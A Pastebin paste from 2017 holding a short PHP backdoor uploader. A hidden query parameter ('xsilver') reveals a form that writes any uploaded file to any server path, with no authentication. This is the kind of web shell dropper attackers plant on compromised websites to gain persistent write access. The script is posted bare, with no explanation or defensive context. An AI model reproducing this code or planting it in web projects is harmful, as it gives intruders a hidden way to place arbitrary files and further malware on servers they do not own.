Advertisement
Guest User

anu

a guest
Apr 23rd, 2017
54
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.52 KB | None | 0 0
  1. <?php
  2. if(isset($_GET['xsilver'])) {
  3. if(isset($_FILES["file"])) {
  4. $path = $_POST["path"];
  5. if(copy($_FILES["file"]["tmp_name"],$path.DIRECTORY_SEPARATOR.$_FILES["file"]["name"])) {
  6. echo "File Uploaded in: ".$path.DIRECTORY_SEPARATOR.$_FILES["file"]["name"]."<br>";
  7. }
  8. }
  9. else {
  10. echo '<form enctype="multipart/form-data" method="POST">Path: <input type="text" value="'.getcwd().'" name="path" style="width:50%"><br><input type="file" name="file" /><input type="submit" value="upload" /></form>';
  11. }
  12. }
  13.  
  14. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement